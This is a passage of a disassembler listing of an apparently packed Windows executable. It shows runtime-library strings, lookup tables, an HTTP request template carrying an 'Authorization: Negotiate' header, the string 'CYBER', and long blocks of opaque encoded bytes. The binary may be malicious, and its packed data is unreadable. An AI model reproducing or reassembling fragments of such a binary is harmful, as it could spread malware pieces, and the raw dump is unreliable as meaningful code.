51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: .nsp0:00404F7Do ; .nsp0:00405060o ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: .nsp0:00405384o ; .nsp0:004053C0o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D12A+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40CF3C+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40CF3C+15r dword_427698 dd 0FFFFFFFFh ; sub_40D3C6r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40CF88+79r dword_4276A8 dd 0 ; sub_40D476+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: .nsp0:0040DF83r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: .nsp0:00416CBFr ; .nsp0:00416CDAr ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_4180E3+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_4180E3+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_4180E3+342r ; sub_4180E3+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_4180E3+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_4180E3+24Br ; sub_4180E3+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_4180E3+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_4180E3+AEr ; sub_4180E3+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_4180E3+93r ; sub_4180E3+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_4180E3+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418F1D+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41AD75+1AEr flt_42770C dd 8.0 ; DATA XREF: sub_41AD75+1A8r ; sub_41F504+4Ar flt_427710 dd 0.0 ; DATA XREF: sub_41AD75+16Fr flt_427714 dd 1.0e-3 ; DATA XREF: sub_41AD75+166r dbl_427718 dq 1.0 ; DATA XREF: sub_41CD19+6Cr ; sub_41CE5F+6Cr ... dword_427720 dd 0FFFFFFFFh, 41E0DAh, 41E0EEhbyte_42772C db 6 ; DATA XREF: sub_41F504:loc_41F55Br db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .nsp0:off_44277Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_442778o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .nsp0:off_4429F4o align 8 dbl_427858 dq 0.0 ; DATA XREF: sub_4211C4+8Cr ; sub_4211C4+ACr ... dbl_427860 dq 4.195835e6 ; DATA XREF: sub_4216D9+Fr dbl_427868 dq 3.145727e6 ; DATA XREF: sub_4216D9+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421717+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_421717o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_42183E+93o align 10h dword_4278A0 dd 0FFFFFFFFh, 421F29h, 421F33h, 0dword_4278B0 dd 0FFFFFFFFh, 0 dd offset loc_4220AF align 10h dd offset sub_42208D dd offset sub_422097 dword_4278C8 dd 0FFFFFFFFh, 4222DFh, 4222E3h, 0dword_4278D8 dd 0FFFFFFFFh, 422341h, 42234Ah, 0dword_4278E8 dd 0FFFFFFFFh, 0 dd offset loc_42241D align 8 dd offset loc_422409 dd offset loc_42240D dword_427900 dd 0FFFFFFFFh, 0 dd offset loc_422473 align 10h dd offset loc_42245F dd offset loc_422463 dword_427918 dd 2 dup(0) ; .nsp0:00423B88o ... dword_427920 dd 0FFFFFFFFh, 422ACBh, 422ACFh, 0FFFFFFFFh, 422B7Fh, 422B83h ; DATA XREF: .nsp0:004229C0o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_442E4Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 align 4 db 0Ah db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah db 0Ah db 'Program: ',0 align 4 a___ db '...',0 aProgramNameUnk db '<program name unknown>',0 align 8 dword_427C28 dd 0FFFFFFFFh, 423C48h, 423C4ChaSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42464C+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: .nsp0:00424CEAo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: .nsp0:00424CE2o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: .nsp0:00424CD1o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4254EE:loc_4255E3o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4254EE+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4254EE+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4254EE+ADo align 4 dword_427CC8 dd 0FFFFFFFFh, 425EE6h, 425EEAh, 0FFFFFFFFh, 425F55h, 425F59h ; DATA XREF: sub_425D2F+5o dd 427E18h off_427CE4 dd offset loc_426488 ; DATA XREF: sub_426290+4Do ; sub_4264A4+Co dd offset sub_42634E dd offset sub_42646B aStringTooLong db 'string too long',0 ; DATA XREF: sub_426290+1Eo dd offset dword_427E50 off_427D04 dd offset loc_4263B5 ; DATA XREF: sub_4262EA+4Eo ; sub_426378+11o ... dd offset sub_42634E dd offset sub_42635B dd offset dword_427EA0 off_427D14 dd offset loc_426570 ; DATA XREF: sub_4264BC+4Do ; sub_42658C+Co dd offset sub_42634E dd offset sub_426553 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4264BC+1Eo dd offset dword_427ED0 off_427D3C dd offset sub_426674 ; DATA XREF: sub_426690+8o ; sub_4266CD+8o ... dd offset sub_42672D aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42672D+7o align 4 dd offset dword_427F18 off_427D5C dd offset loc_42674F ; DATA XREF: sub_42673Ao ; .nsp0:off_4432F8o ... dword_427D60 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) dword_427D80 dd 0FFFFFFFFh, 42691Ch, 426920h, 0FFFFFFFFh, 426999h, 42699Dh ; DATA XREF: .nsp0:0042681Fo dword_427D98 dd 0FFFFFFFFh, 426B91h, 426B95h, 0FFFFFFFFh, 426BEEh, 426BF2h ; DATA XREF: .nsp0:00426AAAo dd 4432F8h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DC8 dd offset off_443310 ; DATA XREF: .nsp0:00427DFCo ; .nsp0:00427E30o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) off_427DE0 dd offset off_443330 ; DATA XREF: .nsp0:00427DF8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DE0 dd offset off_427DC8 dd offset dword_427D98+18h dd 0 db 0 ; DATA XREF: .nsp0:00427E28o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DF8h, 3 dup(0) dd offset off_443330 dd offset unk_427E08 align 10h dd offset off_427DC8 dd offset dword_427D98+18h dword_427E38 dd 4 dup(0) dd 2, 427E30h dword_427E50 dd 3 dup(0) dd offset off_443310 dd offset dword_427E38+8 align 8 off_427E68 dd offset off_443350 ; DATA XREF: .nsp0:00427E80o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E68 dd offset off_427DC8 dd offset dword_427D98+18h dword_427E8C dd 3 dup(0) dd 3, 427E80h dword_427EA0 dd 3 dup(0) dd offset off_443350 dd offset dword_427E8C+4 dd offset dword_427D98+18h dword_427EB8 dd 4 dup(0) dd 1, 427EB4h dword_427ED0 dd 3 dup(0) dd offset off_4432F8 dd offset dword_427EB8+8 align 8 off_427EE8 dd offset off_443370 ; DATA XREF: .nsp0:00427F00o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427EE8 dd 0 db 0 ; DATA XREF: .nsp0:00427F28o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427F00h dword_427F18 dd 3 dup(0) dd offset off_443370 dd offset unk_427F08 align 10h dword_427F30 dd 19930520h, 2, 427F50h, 5 dup(0) dd 0FFFFFFFFh, 426C74h, 0 dd offset loc_426C6C dword_427F60 dd 19930520h, 2, 427F80h, 5 dup(0) dd 0FFFFFFFFh, 426C98h, 0 dd offset loc_426CA0 dword_427F90 dd 19930520h, 2, 427FB0h, 1, 427FC0h, 3 dup(0) ; DATA XREF: .nsp0:loc_426CB4o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FD8h, 4 dup(0) dd offset loc_40D6E0 dd 0 dd offset off_4432F8 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 4266CDh, 2 dup(0) dd offset off_443310 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4263D1h, 2 dup(0) dd offset off_443330 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 4264A4h, 0 dword_428048 dd 3, 428028h, 428008h, 427FE8hdword_428058 dd 0 ; sub_42646B+12o dd offset sub_42642E dd 0 dd offset dword_428048 dword_428068 dd 19930520h, 1, 428088h, 5 dup(0) dd 0FFFFFFFFh, 426CC0h dword_428090 dd 19930520h, 1, 4280B0h, 5 dup(0)dword_4280B0 dd 0FFFFFFFFh, 426CD4h, 2, 428008h, 427FE8h, 0dword_4280C8 dd 0 dd offset sub_426378 dd 0 dd offset dword_4280B0+8 dword_4280D8 dd 19930520h, 1, 4280F8h, 5 dup(0) dd 0FFFFFFFFh, 426CE8h dword_428100 dd 19930520h, 1, 428120h, 5 dup(0) dd 0FFFFFFFFh, 426CFCh dword_428128 dd 19930520h, 1, 428148h, 5 dup(0) dd 0FFFFFFFFh, 426D10h, 0 dd offset off_443350 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 42658Ch, 0 dword_428170 dd 3, 428150h, 428008h, 427FE8hdword_428180 dd 0 ; sub_426553+12o dd offset sub_426516 dd 0 dd offset dword_428170 dword_428190 dd 19930520h, 1, 4281B0h, 5 dup(0) dd 0FFFFFFFFh, 426D24h dword_4281B8 dd 19930520h, 1, 4281D8h, 5 dup(0) dd 0FFFFFFFFh, 426D38h, 28408h, 2 dup(0) dd 2847Eh, 271D8h, 28410h, 2 dup(0) dd 28494h, 271E0h, 28230h, 2 dup(0) dd 28CFAh, 27000h, 5 dup(0) dd 0F1036C3Eh, 884B0CB1h, 0C478E7C4h, 3B005928h, 11A8548Fh dd 10AE9B47h, 6C73A4FBh, 452CBAB3h, 0CFE2E49Eh, 65367E63h dd 3BAFFAEDh, 0FDA946h, 0A3BEBA4h, 36ADF5C5h, 52BC02DFh dd 0E518726Dh, 738C2B3Ah, 91B94939h, 0C5F8976Bh, 0BA6337AEh dd 33DC82D7h, 3B18A85Eh, 0FBBBB6B2h, 6DB58657h, 0A4ACE55Ah dd 26C5099Ch, 0D2A96B47h, 1E458E1Ch, 0B22F6C93h, 5610592Ah dd 3D48D393h, 307D8DA6h, 0E8F5D8Dh, 0D6BADD46h, 8C6B561Dh dd 1F469DFBh, 0C9F2AF90h, 0AF3E60B2h, 0D8779DF0h, 24350593h dd 0C0A38200h, 5C9407C3h, 74C41A9Ah, 0AE5BEA40h, 79421742h dd 0D8BC8EFDh, 4C4E91F1h, 32AE787Ah, 0E540E06Fh, 0C528E9AFh dd 0A4119F64h, 0AEC7078Fh, 95F7F37Eh, 624967ACh, 912C1A83h dd 0A1074FBCh, 6CBD2D1Eh, 95620D64h, 0BC67AF54h, 0F2ECEB82h dd 0BC3AFC3h, 1588A264h, 9BB4BA21h, 385F8860h, 14F97637h dd 392B874h, 81E3D7B2h, 81F67FA2h, 2056BECDh, 0F4B9197Fh dd 0D472C777h, 22EB99Ch, 2EE48E6Bh, 0BC7F8DE1h, 9BFD01E7h dd 4491BB02h, 924D6334h, 7587E4BEh, 1BF4EE3Bh, 15EB626h dd 717C1E8Ah, 45900B7Eh, 771FE28Eh, 0DF0AD45Bh, 7B1C6533h dd 0F3BBCC71h, 0ADC887B7h, 0EC3138B0h, 12FDE1A7h, 0B9900393h dd 0CC4F107Fh, 0A165A468h, 485D22E5h, 929A2088h, 96C152FAh dd 5CD42B8Fh, 0FB2B185Dh, 0E6D84243h, 0C4AB0FA6h, 9EF3FDB2h dd 557B2675h, 50FD2C53h, 3E7AB3C5h, 3F0840F8h, 72E5D8EFh dd 0B060ED8h, 13ADF679h, 0BFAAF59Fh, 3B8A2427h, 88AC463Bh dd 6CA0D2C4h, 0A68AF6ECh, 585EFB48h, 825627D0h, 7B659289h dd 68417EDFh, 0D7293E8Ch, 0 dd 0CE84D27Bh, 0 dd 1BB97791h, 0EFD8384Bh, 24665E57h, 0AAD61AB2h, 87CE6EBh dd 2C961302h, 55965D86h, 861D4410h, 63691269h, 0D8D3B28Fh dd 56481357h, 0B4C0B6D9h, 0DB1616CDh, 0D2420882h, 92F0E92Dh dd 0E9DD51BEh, 0EAE4EABBh, 9AEE49E7h, 0CE1EC4BAh, 73D3BDE6h dd 0AD87C87Eh, 0 ; --------------------------------------------------------------------------- push es add [edx-54h], ch jmp short loc_4284B5 ; --------------------------------------------------------------------------- dw 29Eh dd 45837873h, 97CE4B5Eh, 21FD0DF6h, 0FE4D0069h, 741B57A7h dd 3D00CFh, 90B48D52h, 8B55C626h, 0D2ADh, 3E2934DFh, 725C0754h dd 7C0Fh, 0B0B20296h, 0B5E665h, 19A007Dh, 0ED9CB8B3h, 2D3F9D3h ; --------------------------------------------------------------------------- xchg eax, ecx loc_4284B5: ; CODE XREF: .nsp0:0042846Cj add [ebx], bl add [ebx+10h], ah stc in al, dx push 47A730A5h jl short near ptr dword_428410+4Eh add [eax+eax+38h], al insb stosb ; --------------------------------------------------------------------------- db 0FEh, 38h, 9Dh dd 5F8AA044h, 0FA94E69h, 1240000h, 9244141Ah, 0F0C13D60h dd 18EE677Bh, 5C8BF5AAh, 434Fh, 99680159h, 0BE4911DEh dd 7906DFE6h, 0D36EE258h, 448D61EEh, 4A0017h, 611EA87Ch dd 15268641h, 0BE1B17A7h, 570000h, 473DDB7Bh, 93E74BEBh dd 58180Dh, 0E68101EFh, 3651D82Ch, 4B7E5BB9h, 0F800BCh dd 0A54DAA86h, 0BB761058h, 31F21E13h, 7336586Ah, 7E21E4h dd 0D1AF011Ah, 347906B0h, 87996BB0h, 2C7Fh, 0F0C80028h dd 34019585h, 7651B5h, 0A6C40268h, 0A1ADD4D0h, 0C6194C5h dd 8014B3CCh, 0AA73FD9Ch, 10D0000h, 2D7CBE2Dh, 62CEFCA6h dd 0D317EC06h, 29583D6Eh, 63FEh, 3E420126h, 9554BB2Eh dd 615B0Ah, 8CAD335Dh, 2BB9h, 0C2FC02CEh, 78210EBh, 0DA930498h dd 0C031F8E4h, 44279EC5h, 3F006Eh, 35F812E6h, 56855E60h dd 86B8CD53h, 16D0000h, 0A9DA35BEh, 0FF72F49h, 0CD0999C4h dd 29F0000h, 0C4200D42h, 1D0DF7F4h, 0F0014B2Ah, 0BBF623h dd 0C6320165h, 38AF19DEh, 7270B2C5h, 8C88h, 690801DDh dd 0B3C8F0DBh, 16C172h, 2A3E01C2h, 4F6CCDB0h, 485F0F21h dd 14A4h, 0A467013Eh, 0A5E76FFDh, 12EF4635h, 9FD29B2Bh dd 0CE0000h, 0A4DDD0EBh, 0DB112B82h, 0E4BBFAEAh, 83755405h dd 11C0000h, 0C5A8C20Bh, 0A7AF8B75h, 87D0E340h, 0B539h dd 93DC0175h, 40B1F467h, 0A2526612h, 0BF6073h, 0B7B7007Eh dd 0AEFDA9A2h, 1E31E8C3h, 1C10000h, 0D9AF969Fh, 0C62B4E68h dd 0BE73938Fh, 96F086E6h, 0EA9B9F4Bh, 660000h, 0F13C9D26h dd 76C71CBEh, 34FBA058h, 0AFF136CDh, 0C0374A7Dh, 1AB0000h dd 49EACFCDh, 0B8630C4Eh, 953610D2h, 17BF610h, 3E4CF7B2h dd 77D115B7h, 0A9920869h, 14D99646h, 0A14EC43Dh, 550005h dd 4C1E1487h, 214080F6h, 0C64E4989h, 5D6D06BFh, 54784819h dd 2DF002Bh, 7A4CF34Ah, 9C94DF2h, 310011h, 0DBED416Bh dd 0B8719542h, 2E75F9C5h, 2180000h, 4B38128h, 4E3A31D7h dd 340000h, 4CB7A8B0h, 2F83640Eh, 0F36521h, 0FDE202A7h dd 5046FE64h, 7530D4F9h, 0D989DFCFh, 2D457h, 5AD6029Eh dd 0A25D768Eh, 0E4B5BB77h, 6306EC7Dh, 3352h, 2E150063h dd 9FC23DA1h, 5B4B7A8h, 6A0B84B8h, 0F70023h, 98945066h dd 6A68D7ADh, 0FD11C799h, 0CCF49785h, 4300C6h, 7B3B759h dd 72B621D4h, 0B25Dh, 0E82D016Eh, 224CDEFh, 5664E5C4h dd 6BC6DF12h, 0FB0000h, 557E6FC2h, 2FF1ED74h, 0B0F54543h dd 0FC18h, 8880112h, 0C17C6380h, 0C1096673h, 9000C9h, 0AC689571h dd 0D2B8ACFAh, 8A0022h, 60A82F27h, 84D167B2h, 4E2DCB3Bh dd 0B7E2B165h, 0E4A1E0BCh, 890000h, 0E12B5B31h, 0EFD57FBAh dd 0B44EA8FCh, 3D5805AAh, 0BE2FF8C9h, 3B2E8Dh, 9902009Dh dd 494BDD75h, 0B68C23B8h, 112118h, 19410094h, 0D78397E1h dd 5F682C28h, 0B734C541h, 26A0000h, 581916A9h, 73D57642h dd 935A79CBh, 9661h, 426A0241h, 372FDA4Bh, 520E9EDh, 37D01FEEh dd 80300308h, 98837Eh, 775502CCh, 931C2024h, 7F467318h dd 0DD373D8Ch, 4AA04998h, 73C256F2h, 0B80000h, 9EDD0BEFh dd 0B60E857Dh, 40C052A2h, 9C2D9F76h, 9103D21Ah, 8EBA67D2h dd 11B0000h, 3069225Ah, 0BBD12BB4h, 0E9EC4580h, 2060000h dd 7ADDE644h, 0C7FB1702h, 74B8CAEBh, 0FB7456CBh, 701808B5h dd 0C3EB8Ah, 0FB650207h, 0E9A396BEh, 93E55281h, 6CC95FD9h dd 7ED4B0D0h, 6E628175h, 80F308h, 3BC200B4h, 91923B40h dd 5394E65Ch, 10A0090h, 0DC81ADE6h, 90618179h, 0FC4DA0D2h dd 2C0B741Dh, 93FEA538h, 0B0BE92h, 1313019Fh, 7396629Ch dd 8991h, 53A00199h, 3829A6A3h, 14F78h, 66C30140h, 0DBC0E9D8h dd 0F1816DF5h, 748F75A0h, 2C70000h, 6093176Fh, 16BE6A23h dd 798B092h, 5339h, 0DE43021Ch, 809DF731h, 183BB1CBh, 0C1906938h dd 0BE0CD8h, 50C3015Bh, 54E46D3Dh, 370D3DBh, 82132Ah, 464300AFh dd 0C1E83112h, 0E6B2E6FEh, 0BACF256Eh, 1930000h, 81B7B435h dd 6CC632AFh, 34070851h, 18C0000h, 71B94772h, 74777ECAh dd 2042h, 954C02B0h, 286E282Dh, 0EF852171h, 4C34B691h dd 1D60015h, 77B0C6FCh, 96655F0Ah, 33E9F5C4h, 3500A6h dd 0B4BC21E5h, 0FE0CB9BBh, 7B72C456h, 0EFFD7ADEh, 0D193h dd 2A81026Ch, 32DD23CBh, 6457C164h, 1140086h, 0F78BFD43h dd 0E2E69h, 0D1DA03h, 99FE0080h, 8209B52h, 9180EAE5h, 0E6F5B73Dh dd 0AFADCE16h, 0DE3D2362h, 0A25BB4h, 0A3C302D2h, 7DF71C01h dd 0A0760B70h, 0A63089D3h, 0F6DBF883h, 1E4008Dh, 0B1206FF7h dd 0CAC21477h, 34C8CF0h, 4CB8DEC1h, 0D4E12Bh, 267302FFh dd 19E7967Fh, 570D7Dh, 0AAD8010Bh, 0B09F0552h, 48167D8Bh dd 0C8C703B0h, 77E7D648h, 1F90000h, 0B77750DDh, 0F0294C71h dd 4510EF3Eh, 1200077h, 2B48AB8Eh, 48B52469h, 5EA043B5h dd 0E5FA8B5Fh, 18D0000h, 5B7B4643h, 96F73A6Bh, 16187F56h dd 0F999A67Dh, 0DA1Dh, 634E01A2h, 77297699h, 0CB036FD1h dd 22F0071h, 2BEB16DEh, 0BDEAB4A5h, 1700079h, 0BEE0BB8Dh dd 0EC063582h, 0BDACB8C5h, 924DB648h, 124839E9h, 9475h dd 6F7F015Dh, 740392E4h, 9661A91Eh, 5806ECh, 0C7B20150h dd 0DDAD10C2h, 0D757A7A4h, 9CCE8153h, 0CA007Eh, 9C3EE24Dh dd 29587894h, 0E1B3E78h, 4BF03Bh, 0F2C30174h, 3990B6CBh dd 0EB460283h, 19D0000h, 0C493968Fh, 0F95C9552h, 8768CBh dd 3D0E019Bh, 6AE94AFDh, 5BBA0E6Ch, 2BF0000h, 12495179h dd 0A31B4814h, 0CC468Ch, 42F702BBh, 3C008F2h, 1FA31C77h dd 8A4Dh, 146D01B8h, 0CFB6EEE2h, 0EA8E3824h, 137540h, 4FFA00BFh dd 0FE435881h, 0CAC36Ch, 5E3400B9h, 10DBA3F3h, 1310000h dd 62982C22h, 44B3F77Eh, 20B0000h, 0F46F561Ah, 6DF683Ch dd 0BE999628h, 0FD2h, 13A901A3h, 7729C24Bh, 98D5h, 31EF01BFh dd 0F1878494h, 69709929h, 0F514h, 0C801C0h, 85C55538h dd 0ACB6BB13h, 9DDDh, 0B0CA02ADh, 44346203h, 91E62DB5h dd 4B5CF7EDh, 2979D84h, 87D99C75h, 138Fh, 890400B2h, 0DD5219CFh dd 58CE690Fh, 5F9BA34Ah, 88A3AAD0h, 9E743268h, 0B300C8h dd 5B901CDEh, 24925182h, 0B0809D80h, 60BE1841h, 67A26F7Fh dd 0C0EA95h, 5DFD0106h, 4B06D8B7h, 453CAB8Fh, 2F109314h dd 0EC639FCh, 0F6D395h, 0D7DB0108h, 0BD53239Dh, 8AB6C764h dd 676C71BEh, 0EBB663E9h, 4542325Fh, 26D0000h, 23122A9h dd 7811B61Eh, 8BB1DB4h, 0E843h, 0E9080152h, 0AA8A47B9h dd 744F575Bh, 4E2Ah, 0FA360115h, 64146777h, 0CD24469Ch dd 27C0045h, 0B3569FABh, 4355A712h, 77F22CBDh, 0AA0000h dd 4E310EFh, 4D9E7D4Ah, 0C1541C48h, 0D1C927D8h, 1530000h dd 0B459D116h, 5063F756h, 0DAF64D6h, 709Ah, 1D100156h dd 0E743FA15h, 62C916A5h, 934E82AAh, 28B0000h, 6CC25DE6h dd 3F6306E2h, 578BC8C4h, 0EEDA4E07h, 3F054C38h, 3D3FFEAAh dd 0ECB581h, 7D9A01B5h, 0B8D32751h, 0D12D9180h, 4C84h dd 7B9001B2h, 656C887Ah, 0D453B83Dh, 0B9B3h, 66470261h dd 5C9433D5h, 0C0E4E963h, 93B1h, 143E0021h, 0F80432E8h dd 0D9E5DD0Bh, 91C9F478h dd 220000h, 